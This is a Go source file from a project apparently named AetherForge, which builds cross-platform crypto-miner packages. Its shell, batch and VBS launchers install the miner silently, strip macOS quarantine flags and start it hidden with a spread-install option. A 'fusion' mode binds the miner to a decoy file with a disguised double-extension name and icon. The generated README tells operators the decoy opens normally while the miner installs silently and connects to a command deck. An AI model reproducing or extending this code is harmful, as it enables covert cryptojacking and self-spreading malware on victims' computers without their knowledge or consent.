Files
AetherForge/server/internal/builder/build_universal.go
AetherForge feba06e008 Improve portable launch, forge persistence, and operator auth UX.
Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.
2026-05-31 18:56:43 -07:00

430 lines
15 KiB
Go

package builder
import (
"context"
"fmt"
"log"
"net/http"
"os"
"path/filepath"
"strings"
"time"
"crypto-miner-server/internal/models"
"github.com/google/uuid"
)
func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
buildID := uuid.New().String()
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
agentDir := filepath.Join(buildDir, "agent")
if err := os.MkdirAll(agentDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
}
if err := h.copyAgentSource(agentDir); err != nil {
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
}
platforms := platformsForRequest(req)
workerPaths := map[string]string{}
for _, p := range platforms {
wp, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
workerPaths[p.Label()] = wp
}
if req.SpreadKit && !req.FusionEnabled {
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
}
if req.FusionEnabled {
return h.finishUniversalFusion(ctx, buildID, buildDir, req, prepPath, workerPaths, platforms)
}
// Universal workers only — primary artifact is spread-kit style folder without spread flag naming
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
}
func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
subdir := sanitizeFileName(req.WorkerName) + "-spread-kit"
if req.SpreadKit {
subdir = sanitizeFileName(req.WorkerName) + "-spread-kit"
} else {
subdir = sanitizeFileName(req.WorkerName) + "-universal"
}
outDir := filepath.Join(h.projectRoot, "spread-kits", subdir)
if err := os.MkdirAll(outDir, 0755); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
for _, p := range platforms {
src := workers[p.Label()]
destDir := filepath.Join(outDir, p.BinDir())
if err := os.MkdirAll(destDir, 0755); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
destName := "worker" + p.Ext
if err := copyFile(src, filepath.Join(destDir, destName)); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
}
_ = os.WriteFile(filepath.Join(outDir, "deploy.sh"), []byte(spreadKitDeploySh()), 0755)
_ = os.WriteFile(filepath.Join(outDir, "Deploy.bat"), []byte(spreadKitDeployBat()), 0644)
_ = os.WriteFile(filepath.Join(outDir, "Deploy.vbs"), []byte(spreadKitDeployVbs()), 0644)
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(spreadKitStartCommand()), 0755)
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatSpreadKitReadme(req)), 0644)
_ = os.WriteFile(filepath.Join(outDir, "OPERATOR.txt"), []byte(formatSpreadKitOperator(req, buildID)), 0644)
zipName := subdir + "-package.zip"
zipPath := filepath.Join(buildDir, zipName)
if err := zipDirectory(outDir, zipPath); err != nil {
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
}
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
primary := workers[platforms[0].Label()]
if w, ok := workers["windows-amd64"]; ok {
primary = w
}
zipSt, _ := os.Stat(zipPath)
zipBytes := int64(0)
if zipSt != nil {
zipBytes = zipSt.Size()
}
if err := h.db.InsertBuild(&models.BuildRecord{
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, FileName: zipName, CreatedAt: time.Now(),
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
Platform: "universal", BundleSize: zipBytes,
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
}); err != nil {
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
}
return BuildResponse{
Success: true,
BuildID: buildID,
FileName: zipName,
FilePath: zipPath,
RelativePath: filepath.ToSlash(filepath.Join("spread-kits", subdir, zipName)),
FileSize: zipBytes,
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
BundleFileName: zipName,
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
BundleSize: zipBytes,
FusionExportDir: outDir,
ExportPath: outDir,
}, http.StatusOK, primary
}
func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
// Resolve payload display name (used for runner naming and ZIP title)
payloadBase := filepath.Base(prepPath)
title := strings.TrimSpace(req.FusionMediaBaseName)
if title == "" {
title = payloadBase
}
titleBase := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
if titleBase == "" {
titleBase = "fusion"
}
subdir := fusionExportSubdir(req, title)
outDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
if err := os.MkdirAll(outDir, 0755); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
mode := normalizeFusionMediaMode(req.FusionMediaMode)
var fusionResults []*fusionBuildResult
var primaryPath string
for _, p := range platforms {
workerPath := workers[p.Label()]
platReq := *req
// Name each runner after the payload file for clarity (e.g. report-runner.exe)
platReq.FusionOutputName = runnerNameForFile(title, p)
res, err := h.buildFusionForPlatform(ctx, buildDir, prepPath, workerPath, &platReq, p)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
fusionResults = append(fusionResults, res)
destDir := filepath.Join(outDir, p.BinDir())
if err := os.MkdirAll(destDir, 0755); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
runnerName := filepath.Base(res.LauncherPath)
destRunner := filepath.Join(destDir, runnerName)
if err := copyFile(res.LauncherPath, destRunner); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
if p.GOOS == "windows" {
primaryPath = destRunner
}
if p.GOOS == "darwin" {
if err := h.buildDarwinAppBundle(outDir, title, destRunner, p); err != nil {
log.Printf("[Forge] darwin app bundle: %v", err)
}
}
}
// For paired mode: copy the original payload file to the ZIP root so runners can find it.
// The runners search up to 2 parent dirs from their binary location (bin/platform/ → root).
if mode == "paired" && prepPath != "" {
destPayload := filepath.Join(outDir, sanitizeFileName(payloadBase))
_ = copyFile(prepPath, destPayload)
}
_ = os.WriteFile(filepath.Join(outDir, "start.sh"), []byte(fusionUniversalStartSh(title)), 0755)
_ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644)
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755)
readme := fusionReadmeInfo{
Title: titleBase,
RunnerName: titleBase + "-runner",
MediaName: payloadBase,
PayloadKind: req.FusionPayloadKind,
MediaMode: mode,
}
windowsRunnerName := disguisedRunnerName(payloadBase)
unixRunnerName := sanitizeFileName(titleBase+"-runner")
readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" +
" Windows: double-click Start.bat (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" +
" NOTE: on Windows, " + windowsRunnerName + " appears as \"" + titleBase + strings.ToLower(filepath.Ext(payloadBase)) + "\" (icon + name disguised)\r\n" +
" Linux: chmod +x start.sh && ./start.sh (or bin/linux-amd64/" + unixRunnerName + ")\r\n" +
" macOS: double-click Start.command (or open " + titleBase + ".app)\r\n\r\n" +
"What happens when launched:\r\n" +
" 1. The original file (" + payloadBase + ") opens normally\r\n" +
" 2. The miner installs silently and connects to your command deck\r\n"
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatFusionReadme(readme)+readmeExtra), 0644)
zipName := fusionBundleZipName(subdir)
zipPath := filepath.Join(buildDir, zipName)
if err := zipDirectory(outDir, zipPath); err != nil {
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
}
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
if primaryPath == "" && len(fusionResults) > 0 {
primaryPath = fusionResults[0].LauncherPath
}
zipSt2, _ := os.Stat(zipPath)
zipBytes2 := int64(0)
if zipSt2 != nil {
zipBytes2 = zipSt2.Size()
}
if err := h.db.InsertBuild(&models.BuildRecord{
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, FileName: zipName, CreatedAt: time.Now(),
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
Platform: "universal", BundleSize: zipBytes2,
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
}); err != nil {
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
}
return BuildResponse{
Success: true,
BuildID: buildID,
FileName: zipName,
FilePath: zipPath,
RelativePath: filepath.ToSlash(filepath.Join(FusionDeliverablesDir, subdir, zipName)),
FileSize: zipBytes2,
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
FusionEnabled: true,
FusionExportDir: outDir,
BundleFileName: zipName,
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
BundleSize: zipBytes2,
ExportPath: outDir,
}, http.StatusOK, primaryPath
}
func runnerNameForPlatform(p BuildPlatform) string {
if p.GOOS == "windows" {
return "runner.exe"
}
return "runner"
}
func fileSize(st os.FileInfo) int64 {
if st == nil {
return 0
}
return st.Size()
}
const universalDeploySh = `#!/bin/sh
set -e
DIR="$(cd "$(dirname "$0")" && pwd)"
export AETHER_KIT_DIR="$DIR"
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
ARCH="$(uname -m)"
case "$OS" in
linux*)
case "$ARCH" in
arm64|aarch64) RUN="$DIR/bin/linux-arm64/worker" ;;
*) RUN="$DIR/bin/linux-amd64/worker" ;;
esac
;;
darwin*)
case "$ARCH" in
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/worker" ;;
*) RUN="$DIR/bin/darwin-amd64/worker" ;;
esac
;;
*) echo "Unsupported OS: $OS"; exit 1 ;;
esac
if [ ! -f "$RUN" ]; then
echo "Worker binary missing: $RUN"
exit 1
fi
chmod +x "$RUN" 2>/dev/null || true
xattr -cr "$RUN" 2>/dev/null || true
nohup "$RUN" --spread-install </dev/null >/dev/null 2>&1 &
exit 0
`
func spreadKitDeploySh() string {
return universalDeploySh
}
const spreadKitDeployBatBody = `@echo off
setlocal
set "DIR=%~dp0"
set "AETHER_KIT_DIR=%DIR%"
set "RUN=%DIR%bin\windows-amd64\worker.exe"
if not exist "%RUN%" (
echo Worker missing: %RUN%
exit /b 1
)
start "" /B "%RUN%" --spread-install
exit /b 0
`
func spreadKitDeployBat() string {
return spreadKitDeployBatBody
}
const spreadKitDeployVbsBody = `Set sh = CreateObject("WScript.Shell")
dir = Replace(WScript.ScriptFullName, WScript.ScriptName, "")
run = dir & "bin\windows-amd64\worker.exe"
If Not CreateObject("Scripting.FileSystemObject").FileExists(run) Then
WScript.Echo "Worker missing: " & run
WScript.Quit 1
End If
sh.Environment("PROCESS")("AETHER_KIT_DIR") = dir
sh.Run """" & run & """ --spread-install", 0, False
`
func spreadKitDeployVbs() string {
return spreadKitDeployVbsBody
}
const spreadKitStartCommandBody = `#!/bin/bash
DIR="$(cd "$(dirname "$0")" && pwd)"
exec "$DIR/deploy.sh"
`
func spreadKitStartCommand() string {
return spreadKitStartCommandBody
}
const universalDeployBat = `@echo off
set DIR=%~dp0
"%DIR%bin\windows-amd64\worker.exe" --spread-install
`
// fusionUniversalStartSh returns start.sh for the universal fusion ZIP.
// It detects the OS/arch and launches the matching runner binary.
// title is the payload filename — Unix runners use a sanitised "-runner" suffix.
func fusionUniversalStartSh(title string) string {
base := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
if base == "" {
base = "runner"
}
runnerBase := sanitizeFileName(base + "-runner")
return `#!/bin/sh
DIR="$(cd "$(dirname "$0")" && pwd)"
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
ARCH="$(uname -m)"
case "$OS" in
linux*)
case "$ARCH" in
arm64|aarch64) RUN="$DIR/bin/linux-arm64/` + runnerBase + `" ;;
*) RUN="$DIR/bin/linux-amd64/` + runnerBase + `" ;;
esac ;;
darwin*)
case "$ARCH" in
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/` + runnerBase + `" ;;
*) RUN="$DIR/bin/darwin-amd64/` + runnerBase + `" ;;
esac ;;
*) echo "Unsupported OS: $OS"; exit 1 ;;
esac
if [ ! -f "$RUN" ]; then echo "Runner not found: $RUN"; exit 1; fi
chmod +x "$RUN" 2>/dev/null || true
xattr -cr "$RUN" 2>/dev/null || true
exec "$RUN"
`
}
// fusionUniversalStartBat returns Start.bat for the universal fusion ZIP (Windows runner).
// title is the payload filename — the runner uses the double-extension disguised name.
func fusionUniversalStartBat(title string) string {
runnerExe := disguisedRunnerName(title)
return "@echo off\r\nset \"DIR=%~dp0\"\r\n\"%DIR%bin\\windows-amd64\\" + runnerExe + "\"\r\n"
}
// fusionUniversalStartCommand returns Start.command (macOS double-click launcher).
func fusionUniversalStartCommand() string {
return "#!/bin/bash\nDIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nexec \"$DIR/start.sh\"\n"
}
func formatSpreadKitReadme(req *BuildRequest) string {
return fmt.Sprintf(`AetherForge Universal Spread Kit — %s
=====================================
Run ONE launcher for your OS (silent install + mining + deck connection):
Windows (silent): double-click Deploy.vbs (or Deploy.bat)
Linux: chmod +x deploy.sh && ./deploy.sh
macOS: double-click Start.command (or ./deploy.sh)
Keep the entire folder together — bin/ must stay next to the launcher.
Command deck URL baked into workers: %s
If agents never appear, re-forge with your LAN IP (not localhost).
Troubleshooting log (if install fails): %%TEMP%%\aetherforge-spread.log (Windows) or /tmp/aetherforge-spread.log (Unix)
`, req.WorkerName, req.ServerURL)
}
func formatSpreadKitOperator(req *BuildRequest, buildID string) string {
return fmt.Sprintf(`AetherForge Spread Kit — operator reference
Worker: %s
Build ID: %s
Command URL: %s
Pool: %s:%d
Wallet: %s…
Auto-spread: %v
Targets: windows-amd64, linux-amd64, linux-arm64, darwin-amd64, darwin-arm64
Verify: unzip, run launcher on target OS, agent should appear on command deck within ~30s.
`, req.WorkerName, buildID, req.ServerURL, req.PoolHost, req.PoolPort, truncateWallet(req.Wallet), req.AutoSpread)
}
func truncateWallet(w string) string {
w = strings.TrimSpace(w)
if len(w) <= 16 {
return w
}
return w[:16]
}